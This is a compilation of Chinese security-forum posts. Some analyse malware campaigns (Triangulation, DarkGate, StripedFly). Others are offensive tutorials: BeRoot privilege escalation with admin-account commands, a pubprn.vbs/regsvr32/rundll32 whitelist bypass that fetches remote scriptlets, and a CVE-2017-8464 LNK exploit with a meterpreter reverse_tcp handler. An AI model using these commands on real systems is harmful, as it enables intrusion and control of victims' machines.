mini上的iMessage拦截日志时,却没有消息痕迹。因此,系统无法捕获可能包含漏洞的消息,所以我们开始寻找其他方法来捕获恶意软件。 在通过Mac设备拦截iMessages的计划失败后,研究人员决定尝试解密之前从流量分析中识别出的C2服务器的HTTPS通信。 为此,需要做到: 搭建Linux服务器,安装HTTPS拦截工具mitmproxy; 在几个已知被攻击的iOS设备上安装了根SSL证书(研究人员之前通过mitmproxy生成的); 在这些设备上安装Wireguard VPN客户端,并配置它们使用研究人员的mitmproxy实例作为VPN服务器。 研究人员还开发了一个Telegram机器人,当受监控的设备被攻击时,它会通知研究人员: 不幸的是,这种方法不允许研究人员拦截苹果服务(包括iMessage)的HTTPS流量,因为iOS为此实现了SSL绑定。因此,研究人员无法解密来自VPN的iMessage流量。 捕捉JavaScript验证器 一旦攻击者再次攻击了其中一个目标,研究人员查看了mitmproxy日志,注意到它成功地解密了C2服务器的流量: 研究人员希望获得的有效负载是iOS的漏洞。但是,它是JavaScript验证器,它只是收集有关受害浏览器的信息并将其发送到C2服务器。 研究人员观察到受攻击的设备接收响应发送到C2服务器的验证信息的有效负载。然而,虽然研究人员能够拦截HTTPS流量,但无法解密它。这是因为JS验证器使用NaCl库为C2通信实现了自己的加密层,使用的加密算法基于公钥加密。具体来说,为了与C2服务器通信,JS验证器如下: 1.生成一个随机密钥对(由私钥和公钥组成); 2.从生成的私钥和C2服务器的公钥中派生共享密钥; 3.使用此共享密钥加密发送到C2服务器的消息并解密从C2服务器接收到的消息。 密钥生成 为了解密C2服务器通信,有必要知道由JS验证器随机生成的私钥。但是,这个密钥保存在内存中,不会被发送到C2服务器,所以研究人员必须做一些额外的工作来解密验证器的流量。 如上图所示,JS验证器通过调用nacl.box.keyPair()方法生成一个随机密钥对。为了解密流量,研究人员编写了一个很小的mitmproxy附加组件,用于查找对nacl.box.keyPair()方法的调用。然后用另一个方法nacl.box.keyPair.fromSecretKey()替换它们,该方法根据提供的私钥初始化对。 从上图中可以看出,研究人员将私钥硬编码到该方法的参数中,从而隐藏验证器的加密方案。一旦在受攻击的设备上执行了后门验证器,就可以解密JS验证器的所有通信。 二进制验证器和关于附件的提示 一旦攻击者再次攻击了其中一个目标,研究人员就能够分析验证器进一步执行的有效负载。结果发现它包含两个漏洞:一个针对WebKit,另一个针对iOS内核。这两个漏洞的最终目标是在目标设备上启动二进制验证器阶段。 如上所述,二进制验证器包含一个清除恶意iMessage痕迹的函数。具体来说,研究人员发现这个函数向SMS.db数据库发出以下SQL请求: 条件“uti==”com.apple.watchface“”给了我们另一个提示:现在很明显,恶意附件是.watchface文件。因此,通过更多关于附件的信息,研究人员计划并执行了获取附件的下一次尝试。 发送iMessage附件的过程 为了设计另一种获取附件的策略,研究人员决定更详细地研究发送iMessage附件的过程。这个过程包括以下几个步骤: 1.发送方生成一个随机的AES密钥并用它加密附件; 2.加密的附件被上传到iCloud; 3.iCloud加密附件的链接与AES密钥一起发送给收件人,AES密钥使用设备的公共RSA密钥进行额外加密。 因此,要获取恶意附件文件,研究人员必须检索两个组件: 1.加密的附件; 2.用于加密的AES密钥。 获取加密的附件非常简单,因为可以通过mitmproxy拦截到iCloud服务器的流量。之前,研究人员写过iOS不允许解密苹果服务的HTTPS流量,iCloud附件链接却是一个例外。 同时,AES密钥的获取过程相当困难。它是通过iMessage协议发送的,因此不能通过mitmproxy进行拦截。不过,研究人员发现了一种恢复附件的方法,并通过对目标设备的物理访问提取该密钥。研究人员使用iCloud链接阻止iMessage成功下载附件,因此该漏洞不会激活然后删除附件,但AES加密密钥将存储在SMS.db数据库中。 研究人员决定使用mitmproxy附加组件更改加密附件中的几个字节。这样,研究人员中断了下载加密附件的过程,解密密钥保存在SMS.db数据库中。然后,研究人员下载了受攻击设备的iTunes备份,并从该备份中的数据库中提取了密钥。结果,研究人员获得了攻击者发送的恶意.watchface附件,这是用于使用漏洞利用链的开始。 植入过程 在研究人员获得攻击者使用的漏洞之后,剩下的就是获得植入程序了。二进制验证器是负责从C2服务器下载和激活植入有效负载的组件,它使用RSA和AES的组合进行通信。同样,使用RSA意味着仅使用加密流量是不可能解密植入有效负载的。 为了与C2服务器交换数据,二进制验证器需要: 1.生成一个随机的AES密钥; 2.用验证器配置中指定的服务器的RSA公钥加密生成的AES密钥; 3.使用生成的AES密钥对要发送到C2服务器的消息进行加密; 4.向C2服务器发送加密消息,并接收C2服务器的响应; 5.使用用于加密发送消息的相同AES密钥解密响应。 验证器用以下ARM指令加密所有数据包: 这段代码首先执行“serialized_plist”函数,该函数为发送准备数据。执行之后,寄存器X0指向准备发送到服务器的数据。 下一个要调用的函数是“encryptData”。它有两个参数:一个指向正在加密的数据的指针被传递到X0寄存器,而X1寄存器包含一个带有配置数据(包括加密参数)的pllist。在执行这个函数之后,X0寄存器包含一个指向加密附件的指针。 为了破坏加密过程来拦截来自受攻击设备的数据。研究人员决定将对“encryptData”函数的调用替换为NOP指令(1f2003d5)。这样,X0寄存器的值将不会被指向加密数据的指针覆盖,并且验证器将向研究人员的VPN服务器发送明文数据。 就像JavaScript验证器的情况一样,研究人员通过扩展mitmproxy插件来修补代码: 使用NOP修补对encryptData函数调用的mitmproxy附加代码片段 当明文数据到达研究人员的VPN服务器时,他们会再次通过mitmproxy附加组件模拟密钥交换和数据加密,并控制加密密钥的值。结果,研究人员成功地解密了C2服务器发送的数据,并提取了植入程序。 获取模块 在对TriangleDB植入程序进行逆向工程后,研究人员发现它能够执行辅助模块,这让研究人员想要获得模块二进制文件。在对植入的分析中,发现模块可执行文件通过CRXUpdateRecord和CRXUpdateRunRecord命令传递给植入程序。因此,为了获得这些可执行文件,必须能够解密发送到C2服务器的所有命令。 同样,加密算法是基于RSA的,所以研究人员的操作类似于获取植入程序二进制文件的操作。 不过这一次,研究人员决定: 1.生成自己的RSA公钥/私钥对; 2.将植入配置中的RSA公钥替换为先前生成的公钥。 研究人员将以下代码添加到mitmproxy插件中: 当植入流量到达研究人员的VPN服务器时: 1.用研究人员生成的RSA私钥解密它; 2.保存解密后的流量; 3.使用攻击者使用的公钥对流量重新加密。 通过这种方式,研究人员能够监控由植入程序执行的所有通信,并获得模块二进制文件。 总结 研究人员调查Triangulation活动的过程相当漫长,总共花了几个月的时间。尽管经历了许多波折,研究人员最终还是设法获得了这次攻击中使用的所有阶段,包括向苹果报告的四个零日漏洞,两个验证器,一个植入程序及其模块。 在此过程中,研究人员对iOS内部进行了大量研究,并提出了许多有趣的技术,例如研究人员用于提取iMessage附件的技术。研究人员在研究过程中遇到的主要困难是处理在攻击链的每个阶段都使用的公钥加密。为了绕过加密,研究人员必须开发一个mitmproxy附加组件。
  19. 0x00 工具介绍 前言 BeRoot是一个后期开发工具,用于检查常见的Windows的配置错误,以方便找到提高我们提权的方法。其二进制编译地址为: https://github.com/AlessandroZ/BeRoot/releases 它将作为后开发模块被添加到pupy(Pupy是一个开源,跨平台(Windows,Linux,OSX,Android),多功能RAT远程管理工具和后开发工具,主要用python编写)项目中(因此它将在内存中执行,而不会在硬盘中执行)。 需要注意的是,这款工具只能用来检测,而无法直接利用目标系统中存在的漏洞。但是,如果它发现了错误配置,它可以通过模版来利用这些漏洞。模版文件位于templates/service目录下,如果项目提供的模版文件无法运行,我们也可以根据目标系统的情况手动创建一个模版文件。 工具下载 【beRoot.zip】(zip) 【源代码】(zip) 【源代码】(tar.gz) 工具运行: |============================================== | | | Windows Privilege Escalation | | | | ! BANG BANG ! | | | |============================================== usage: beRoot.exe [-h] [-l] [-w] [-c CMD] Windows Privilege Escalation optional arguments: -h, --help show this help message and exit -l, --list list all softwares installed (not run by default) -w, --write write output -c CMD, --cmd CMD cmd to execute for the webclient check (default: whoami) 0x01 工具利用 包含没有引号的空格路径: 如以下文件路径: C:\Program Files\Some Test\binary.exe 如果路径中包含空格并且没有引号,Windows将尝试按以下顺序查找和执行目标程序: C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\binary.exe 按照此顺序,如果“C:\”文件夹是可写的,可能会创建一个名为“Program.exe”的恶意可执行二进制文件,如果“binary.exe”拥有高权限,那么我们就可以利用这种机制来提升我们的权限。 注意:BeRoot会对每一条服务路径、计划任务、以及HKLM条目中的启动键执行这样的检测 利用方法: 在利用存在安全缺陷的路径时,我们应该遵循以下方法: 1. 如果是一个服务,那么我们就创建一个恶意服务(或编译一个service模版)。 个人理解为:通过该工具检查到的服务运行的路径为带空格且没有引号的目录路径,则可以用其他恶意服务来替换来达到提权。 2. 如果是一个可执行程序,那么我们就可以创建一个恶意的可执行程序 可写目录: 如下文件路径: C:\Program Files\Some Test\binary.exe 如果“binary.exe”的根目录是可写的(“C:\ Program Files \ Some Test”)并以高权限运行,那么我们就可以利用它来实现提权。 利用方法 1. 如果服务不处于运行状态:用我们的服务模版替换掉合法服务,重启该服务,并尝试触发该服务。 2. 服务处于运行状态且无法被终止:这是大多数的情况,可以尝试进行DLL劫持并使用其他的技术来重启服务 %PATH%上的可写目录: 这项技术可在以下Windows版本中使用: 6.0 => Windows Vista / Windows Server 2008 6.1 => Windows 7 / Windows Server 2008 R2 6.2 => Windows 8 / Windows Server 2012 在上述Windows版本中,DLL文件是通过指令代码进行加载的,Windows会通过下列步骤来尝试定位相应的代码: - 定位代码所在目录 - C:\Windows\System32 - C:\Windows\System - C:\Windows\ - 当前目录下的代码已启动 - 目录地址将会保存在%PATH%环境变量中 二进制文件启动的当前目录 如果%PATH%变量中的目录路径是可写的,那么我们就有可能实现DDL劫持攻击。那么接下来,我们的目标就是要找出一个能够加载DLL文件但路径还不在%PATH%变量中的服务。默认情况下,我们选择使用“IKEEXT”服务,它可以加载我们的恶意DLL文件-wlbsctrl.dll。 如何利用:创建一个名为“wlbsctrl.dll”(使用DLL模版)的恶意DLL文件,并将其添加至%PATH%变量中的可写路径,开启“IKEEXT”服务,为了在没有高级权限的情况下开启IKEEXT服务,我们可以参考法国杂志MISC90中所介绍的方法,方法大致如下: 根据下列信息创建一个文件: C:\Users\bob\Desktop>typetest.txt [IKEEXTPOC] MEDIA=rastapi Port=VPN2-0 Device=Wan Miniport (IKEv2) DEVICE=vpn PhoneNumber=127.0.0.1 使用“rasdial”命令开启IKEEXT服务,如果链接失效,则说明该服务已经处于运行状态了。 MS16-075漏洞检查 对于懂法语的用户,我建议可以参考MISC 90中提供的技术细节。 微软已经在公告MS16-075的补丁中修复了这个漏洞,但是很多服务器仍然存在这个问题,这里给大家提供一个C++PoC【点我获取】。大致的实现方法如下: 1. 使用某些方法(使用其UUID)开启Webclient服务 2. 在本地开启一个HTTP服务器 3. 找到一个能够触发SYSTEM NTLM哈希的服务 4. 启用该服务的文件追踪,修改其注册表键值,并让其指向我们的Web服务器(\\127.0.0.1@port\tracing) 5. 开启该服务 6. 让我们的HTTP服务器请求获取SYSTEM NTLM哈希 7. 使用这个哈希和SMB来执行我们的自定义Payload 8. 清除痕迹(终止服务,清除注册表键等等) 如何利用:在目标主机中,BeRoot可以通过下列命令来执行自定义命令: beRoot.exe -c “net userZapata LaLuchaSigue /add” beRoot.exe -c “net localgroupAdministrators Zapata /add” 注册表键AlwaysInstallElevated 通过对AlwaysInstallElevated进行设置,我们可以让非特权用户使用高级权限(SYSTEM权限)来运行MicrosoftWindows Installer包文件。为此,我们需要将下面这两个注册表键值设置为1: HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated 如何利用:创建一个恶意MSI文件,然后执行。 Unattend安装文件 很多安装文件中包含程序的所有配置信息,并且会在程序的安装过程中对程序进行配置,而有些安装文件中还包含对本地账号(例如管理员账号)的配置信息,我们可以通过下列路径获取到这些文件: C:\Windows\Panther\Unattend.xml C:\Windows\Panther\Unattended.xml C:\Windows\Panther\Unattend\Unattended.xml C:\Windows\Panther\Unattend\Unattend.xml C:\Windows\System32\Sysprep\unattend.xml C:\Windows\System32\Sysprep\Panther\unattend.xml 如何利用:打开unattend.xml文件,检查其中是否含有密码。文件结构大致如下: <UserAccounts> <LocalAccounts> <LocalAccount> <Password> <Value>RmFrZVBhc3N3MHJk</Value> <PlainText>false</PlainText> </Password> <Description>Local Administrator</Description> <DisplayName>Administrator</DisplayName> <Group>Administrators</Group> <Name>Administrator</Name> </LocalAccount> </LocalAccounts> </UserAccounts> 0x03 总结 可检查以下的内容: 可写的应用程序路径 可写不含引号有空格的路径 可利用的注册表键值 找到无人值守安装文件 可检查到MS16-075漏洞利用
  20. 没事儿看了一下subtee和enigma0x3今年在BSides Nashville 2017上的演讲,觉得这两个猥琐男简直不能再猥琐了 :-)其中有一个猥琐小技巧,又可以让我们好好hunting一番了。我这里先简单介绍一下吧: 在很多时候我们发现我们在目标机器环境里想要运行个js或者vbs脚本很困难,原因就是因为好多环境里使用了白名单限制机制只允许特定签名的脚本文件可以执行。在这样的环境里,我们应该怎么样去执行这些脚本呢? 首先在windows 7以上系统中,有这样一个目录:c:\windows\system32\printing_admin_scripts\, 在这个目录下面会有一个文件夹,此文件夹的命名会根据系统的语言版本而有所不同(中文系统下是 zh-cn, 而英文为 en-US等),在这个文件夹下会有一些系统自带的vbs脚本,这些脚本都是有着微软签名的,也就是说肯定可以执行的。 在这些文件中,有一个文件叫做PubPrn.vbs,这个文件的代码中有这么几行: 这个脚本执行的时候会接受两个参数,第一个参数是一个网络地址,我们可以忽略它,随便填一个就ok。第二个参数会被传递给GetObject方法,而这个方法可以使用script和scriptlet 这两个moniker直接指定一个网络地址。因此利用方法如下: 编写如下测试脚本,并上传到一个web server上: COM Scriptlet的示例 test.wsc:(这里是测试的一个弹出计算器的脚本) <?xml version="1.0"?> <package> <component id="testCalc"> <script language="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); ]]> </script> </component> </package> 您还可以使用James Forshaw(@tiraniddo)的工具DotNetToJScript中COM Scriptlet中扩展JScript / VBScript,允许Win32 API访问,甚至Shellcode执行。 然后在目标机器上执行如下命令: cscript /b C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct 或者: C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 "script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct    由于VBScript依靠COM来执行操作,因此它在许多Microsoft签名的脚本中被大量使用。虽然这只是一个例子,但一定会有其他可以以类似的方式被利用 附上sct其他姿势技巧: regsvr32 /s /u /n /i:cacl.sct scrobj.dll regsvr32 /s /u /n /i:http://ys-h.ys168.com/581339150/k4M1K75557NMJVJgWw6/cacl.sct c:\windows\SysWOW64\scrobj.dll rundll32远程执行: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct");this.close()
  21. 从7月到9月,研究人员就已经观察到DarkGate活动,趋势科技检测为TrojanSpy.AutoIt.DARKGATE.AA,攻击者滥用即时通讯平台向受害者提供VBA加载器脚本。该脚本下载并执行由AutoIT脚本组成的第二阶段有效负载,其中包含DarkGate恶意软件代码。目前还不清楚即时消息应用程序的原始帐户是如何被攻击的,但应该是通过地下论坛获得的凭据。 DarkGate在过去的几年里并不是很活跃。然而,根据Truesec和MalwareBytes的报告,今年已经观察到多个攻击部署。通过对这次活动的密切监控,研究人员发现大多数DarkGate攻击都发生在美洲地区,其次是亚洲、中东和非洲。 2023年8月至9月DarkGate活动的分布 DarkGate活动背景 DarkGate于2017年底首次被发现,被归类为商品加载器。自2023年5月以来,DarkGate已经在俄语论坛开始流行,从那时起,使用恶意软件的初始入口攻击数量开始有所增加。DarkGate具有各种功能,包括执行以下操作的功能: 执行发现命令(包括目录遍历); 自我更新,自我管理; 实现远程访问软件,如远程桌面协议或RDP、隐藏虚拟网络计算或hVNC、AnyDesk; 启用加密货币挖掘功能(启动、停止和配置); 按键记录(keylogging),Keylogging攻击是指攻击者跟踪键盘、鼠标活动,获得用户输入的信息,包括帐号、口令等; 从浏览器窃取信息; 权限升级。 DarkGate还使用一种名为AutoIt的windows专用自动化和脚本工具,来传播和执行其恶意功能。尽管AutoIt是一个合法的工具,但它经常被其他恶意软件家族滥用,用于规避防御和增加混淆层。然而,从历史上看,没有一个著名的加载程序,如IcedID、Emotet或Qakbot被观察到滥用它,这使得研究人员或安全团队更容易将这些活动与恶意软件活动联系起来。 将最新的DarkGate变体与2018年同样滥用AutoIt的样本进行比较,研究人员观察到该样本在初始阶段和命令行中添加混淆方面似乎略有变化。然而,感染链基本上保持不变。 攻击概述 根据分析,攻击者滥用两个组织之间的信任关系来欺骗收件人执行附加的VBA脚本。访问受害者的Skype帐户允许攻击者劫持现有的消息传递线程,并制作文件的命名约定,以与聊天历史的上下文相关。 DarkGate感染链滥用Skype 受害者收到了来自被攻击的Skype帐户的消息,该消息包含一个欺骗性的VBS脚本,其文件名格式为: 带有嵌入恶意附件冒充PDF文件的Skype消息 受害者执行VBA脚本后,首先创建一个 VBA脚本内容样本;VBA脚本充当两个文件的下载程序:一个是AutoIt可执行文件的合法副本,另一个是恶意编译的.au3脚本 研究人员检测到VBA脚本通过使用Windows本地wscript.exe执行加载。该脚本创建了 Trend Vision One对Skype VBA脚本执行的根本原因分析(RCA) 查看Trend Vision One的RCA,研究人员可以观察到curl命令用于检索合法的AutoIt应用程序和相关的恶意fIKXNA.au3(.au3表示AutoIt Version 3脚本文件)。Curl是通过cmd.exe使用以下参数执行的,以从远程托管服务器检索两个文件: 在另一个样本中,观察到攻击通过Microsoft Teams消息发送链接。在该样本中,该组织的系统允许受害者接收来自外部用户的消息,这导致他们成为垃圾邮件的潜在目标。 Truesec的研究人员在9月初记录了类似的DarkGate技术。虽然Skype程序将VBS文件伪装成PDF文档,但在Teams版本的攻击中,攻击者隐藏了一个.LNK文件。此外,滥用Teams的样本来自一个未知的外部发件人。 将带有恶意附件的消息分组 研究人员还观察到VBA脚本的第三种传递方法,其中.LNK文件以压缩文件的形式从创建者的SharePoint网站到达。受害者被引诱浏览给定的SharePoint网站并下载名为“Significant company changes September.zip”的文件。 .ZIP文件包含以下冒充PDF文档的.LNK文件: Company_Transformations.pdf.lnk Revamped_Organizational_Structure.pdf.lnk Position_Guidelines.pdf.lnk Fresh_Mission_and_Core_Values.pdf.lnk Employees_Affected_by_Transition.pdf.lnk 使用条件执行,只有在上一个命令失败时,才会执行附带的命令。.LNK文件包含以下命令: 成功后,将下载并执行loaderVBA脚本(hm3.vbs)。VBA脚本将继续从System32目录复制并将curl.exe重命名为“ Trend Vision One RCA使用.LNK文件作为初始入口DarkGateAU3脚本 下载的工件既包含AutoIt的合法副本,也包含恶意编译的AutoIt脚本文件,其中包含DarkGate的恶意功能。在加载脚本之前,AU3文件首先执行以下检查。如果不满足以下任何一个条件,脚本将被终止: 确认%Program Files%存在时; 当扫描的用户名不是“SYSTEM”时; 一旦环境检查完成,程序就会搜索带有".au3" 扩展来解密和执行DarkGate有效负载,如果无法加载. au3文件,程序将显示一个错误消息框并终止执行。 成功执行.AU3文件后,该文件生成位于C:\Program Files (x86)\.中的代理进程,这些进程包括iexplorer .exe、GoogleUpdateBroker.exe和Dell.D3.WinSvc.UILauncher.exe。它们被注入shellcode以在内存中执行DarkGate有效负载。 恶意软件通过将随机命名的LNK文件放入Windows用户启动文件夹来实现持久性,从而在每次系统启动时自动执行该文件,执行路径如下: 此外,执行将使用随机生成的七字符字符串在Program Data目录下的主机上创建一个文件夹来存储日志和配置数据。为了帮助调查DarkGate有效负载和进程,Telekom Security可以使用一个工具来转储配置文件。 .AU3脚本片段 提取配置 安装后活动 该攻击被观察到作为附加有效负载的下载程序。安装DarkGate恶意软件后,它会在 被释放的文件被检测为DarkGate或Remcos的变体,可能是作为加强攻击者在受感染系统中的立脚点的一种手段。以下是研究人员为这些额外负载找到的一些样本文件名: Folkevognsrugbrd.exe logbackup_0.exe sdvbs.exe Vaabenstyringssystem.exe Sdvaners.exe Dropper.exe DarkGate恶意软件释放额外有效负载 总结 在本示例中,攻击者在实现其目标之前就发现并控制了攻击。然而,研究人员注意到,鉴于之前的DarkGate,攻击者的目标可能会有所不同,这取决于所使用的攻击机构。 攻击者可以利用这些有效负载用各种类型的恶意软件感染系统,包括信息窃取、勒索软件、恶意使用或滥用的远程管理工具,以及加密货币挖矿工具。 在本文的样本中,Skype应用程序被合法地用于与第三方供应商通信,使其更容易渗透或引诱用户访问恶意文件。攻击者的最初目标只是在环境中获得立足点,最终目标仍然是渗透整个环境,通过对购买或租用DarkGate变体的攻击组织的分析,攻击包含勒索和加密挖矿等。根据发现的样本,研究人员初步判断DarkGate与Black Basta勒索软件组相关。 只要允许外部消息传递,或者不检查通过受攻击帐户滥用信任关系,那么就可以对任何即时消息传递(IM)应用程序执行这种初始输入技术,向组织引入任何新的应用程序都应该伴随着保护和限制该组织攻击面的措施。 在本文的示例中,IM应用程序应该由组织控制,以执行诸如阻止外部域、控制附件以及实现扫描等规则,研究人员强烈建议使用多因素身份验证(MFA)来保护应用程序(包括IM应用程序),以防止有效凭据被盗取。 应用程序允许列表是一种很好的防御机制,可以确保最终用户只能访问和执行某些应用程序。
  22. 0x01 前言 RCE漏洞存在于Windows处理LNK文件的环节。攻击者利用漏洞可以获得与本地用户相同的用户权限。被使用此漏洞攻击时,用户权限较少的账户相较管理员权限的用户受到的影响更小。 攻击者可以给受害者一个恶意的LNK 文件和关联的恶意二进制,文件可以存放在可移动磁盘或远程共享中。当用户用 Windows 资源管理器或任何其他能够解析LNK文件的软件,打开此驱动器 (或远程共享) 时,恶意文件就会在目标系统上执行攻击者的代码。 0x02 漏洞环境搭建与利用 漏洞环境搭建: kalix86 192.168.1.109 攻击机 windows7x64 192.168.1.101 目标靶机 漏洞利用: 1.kali主机下载cve_2017_8464_lnk_rce.rb: cd /opt wget https://raw.githubusercontent.com/ykoster/metasploit-framework/169e00bf3442447324df064192db62cdc5b5b860/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb 2.将cve_2017_8464_lnk_rce.rb拷贝到 /usr/share/metasploit-framework/modules/exploit/windows/smb/目录下: cp cve_2017_8464_lnk_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/ 3.生成监听shell: msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.1.109 msf exploit(handler) > exploit -j 4生成大量的.LNK文件(对应盘符从D盘到Z盘)和要加载的.dll文件(后门文件, copy了一个lnk文件(根据插入靶机U盘后识别的盘符,例如我插入U盘后显示的E盘,所以就选择了E结尾的lnk文件)和dll文件到U盘) msf exploit(handler) > back msf > use exploit/windows/smb/cve_2017_8464_lnk_rce msf exploit(cve_2017_8464_lnk_rce) > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf exploit(cve_2017_8464_lnk_rce) > set LHOST 192.168.1.109 msf exploit(cve_2017_8464_lnk_rce) > exploit 5.将/root/.msf4/local/*所有文件拷贝到/opt目录下的test文件夹中,然后拷贝到目标靶机windows7X64上 root@backlion:~# cd /opt root@backlion:/opt# mkdir test root@backlion:/opt# cp /root/.msf4/local/* test/ root@backlion:/opt# cd test/ root@backlion:/opt/test# ls 拷贝的本机win7x64上: 6.然后点击快捷键,就会触发注册dll文件,如果不行直接注册dll文件(一般是将这项快捷键和DLL文件拷贝到一个文件夹里面然后拷贝到U盘,只要对方开了U盘自动启动播放功能,就会自动触发注册dll文件) 7.在kali下可以看到成功获得sesions会话为1 sessions -i 1 8.然后进入到会话,就会成功进入到metermter的shell界面: 0x03漏洞影响与修复 漏洞影响: Windows 10 Windows 7 Windows 8.1 Windows RT 8.1 Windows Server 2008 Windows Server 2008 R2 Windows Server 2012 Windows Server 2012 R2 Windows Server 2016 漏洞修复: 下载补丁,其地址为: https://support.microsoft.com/zh-cn/help/4025686/microsoft-security-advisory-4025685-guidance-for-supported-platforms
  23. 引言 StripedFly,它是一个加密货币挖矿软件,躲在一个支持Linux和Windows的复杂模块化框架后面。它配备内置的TOR网络隧道,用于与指挥(C2)服务器联系,还有通过可信赖的服务(如GitLab、GitHub和Bitbucket)进行更新和交付的功能,这一切使用自定义加密归档。攻击者煞费苦心来构建这个框架,披露的真相颇为惊人。 它是如何开始的? 2022年,在Equation恶意软件中发现的旧代码的WININIT.EXE进程中遇到了两个惊人的发现,随后的分析揭示了可追溯到2017年的早期可疑代码。在此期间,它成功逃避了分析,之前被误归类为加密货币挖矿软件。然而,这不是其主要目标。 我们决定全面分析收集的样本,只想排除任何不确定因素,这个加密货币挖矿软件是一个极庞大实体的一部分。该恶意软件使用了定制的EternalBlue SMBv1漏洞来渗入受害者的系统。重要的是,我们的调查剖析了二进制时间戳,表明这个漏洞是在2017年4月之前创建的。值得一提的是,EternalBlue漏洞是Shadow Brokers组织于2017年4月14日公开披露的。 这个特殊蠕虫与其他使用EternalBlue的恶意软件的区别在于其独特的传播模式。它悄无声息地传播,因而避免了大多数安全解决方案的检测。本文现在简要概述我们的发现结果。 感染 第一个检测到的shellcode位于WININIT.EXE进程中,该进程能够从bitbucket[.]org下载二进制文件,并执行PowerShell脚本。最初检测出来时,感染途径是未知的;然而,随着调查逐步深入开展,我们发现了一个与EternalBlue非常相似的SMBv1漏洞。 内核shellcode通过漏洞利用代码将另外的shellcode注入到用户空间中,然后部署载荷,其中包括一个具有插件式可扩展功能的框架以及一个超轻量级的TOR网络客户软件。一旦这个过程完成,大门被永久封住,恶意软件进而禁用了受感染系统上的SMBv1协议。 蠕虫功能试图在本地网络中传播,不仅仅依赖漏洞,还依赖SSH协议,使用在受害者机器上找到的密钥。 图1. Windows主机上的感染流程 实现持久性 为了实现持久性,恶意软件采用了各种方法。其行为取决于PowerShell解释器的可用性和授予该进程的特权。该恶意软件通常在通过漏洞安装时以管理权限运行,而在通过Cygwin SSH服务器投放时以用户级权限运行。 如果PowerShell不存在,恶意软件用MZ-PE加载程序生成一个隐藏文件,其随机名称位于%APPDATA%目录中。该加载程序包括system.img的副本,并随后在Windows注册表项Software\Microsoft\Windows\CurrentVersion\Run中以类似GUID的名称注册。 如果安装了PowerShell,其行为将因是否有管理访问权而异。如果有管理权限,它执行一个PowerShell脚本,该脚本创建两个具有类似GUID的名称和不同触发器的任务调度器项。这些任务的动作由PowerShell加载脚本运行。 如果没有管理权限,PowerShell脚本加载程序(开头和末尾被数千个空格包围)被放置在HKCU\Software\Microsoft\Windows\CurrentVersion\Applets注册表项中,然后使用以下命令将其注册到HKCU\Software\Microsoft\Windows\CurrentVersion\Run项中: 图2 在PowerShell存在的两种情况下,恶意软件归档本身的主体存储在注册表项Software\Microsoft\Windows\CurrentVersion\Shell中,Base64编码,由数百个空格包围,并由上述PowerShell启动 在Linux主机上,恶意软件进程隐藏在名称(sd-pam)下。有众多方法来实现持久性:可以是系统或用户systemd服务、自动启动的.desktop文件,或在合适的/etc/rc*、profile、bashrc或inittab文件中的另一行。恶意软件可执行文件以随机名称放置在/tmp目录下。 Bitbucket存储库 为了力求初始漏洞利用工具小巧化,所有可卸载的内容都封装在加密和压缩的自定义二进制归档中。这个归档谨慎地托管在合法网站上,巧妙地伪装成神秘设备的标记为"m100"的固件二进制文件。 Bitbucket存储库于2018年6月21日由Julie Heilman的帐户创建,它仍然是与该配置文件相关的唯一存储库。 图3. Bitbucket存储库的内容 存储库只有一个README.md文件,内含项目名称。值得注意的是,Downloads文件夹(通常包含编译后的项目二进制文件)包含五个二进制文件:delta.dat、delta.img、ota.dat、ota.img和system.img。 图4. 存储库的Downloads文件夹 该文件夹没有任何版本控制,下载计数器仅反映自上次文件更新以来的下载次数。尤其是,system.img文件充当真实的载荷归档,用于初始的Windows系统感染。该文件的下载计数器准确反映了自上次更新以来的新感染数量。在我们分析期间,文件上一次更新是在2022年2月24日,截至2022年6月,初始感染数量为16万。然而截至2023年9月,这个数字自2023年4月上一次更新以来已降至6万。 文件ota.img和delta.img用于更新恶意软件,其中ota.img对应Windows版本,而delta.img对应Linux版本。有意思的是,system.img和ota.img功能上一样,不过ota.img包含用于完整性验证的补充元数据,而delta.img充当了通过SSH被Windows版本感染的Linux主机的初始感染载荷。 文件ota.dat和delta.dat以及版本文件都是恶意软件检查新更新可用性的工具。然而值得一提的是,ota.img和delta.img的下载计数器并未准确反映当前感染受害者的数量,这是由于恶意软件主要从其C2服务器获取更新,仅在C2服务器没有响应时才从存储库下载更新文件。 在我们分析期间,约100万更新从存储库获得。截止本文撰稿时,Windows系统只有8次更新,Linux系统只有4次更新,这表明了两种场景:要么活跃感染极少,要么C2服务器保持活跃,并对所有受感染的受害者做出响应。 C2服务器位于TOR网络中,其.onion地址为gpiekd65jgshwp2p53igifv43aug2adacdebmuuri34hduvijr5pfjad[.]onion:1111。 为了与C2联系,恶意软件采用了自定义的轻量级方法来实现TOR客户软件。有趣的是,这种实现似乎并不是基于任何已知的开源TOR实现,显然缺少许多标准的TOR特性,比如路由、目录列表、中继、出口节点模式以及对控制协议的支持。 恶意软件会定期启动与C2服务器的TCP连接,发送含有受害者独特ID的问候信息。然后,它每分钟发送一个空信标消息。 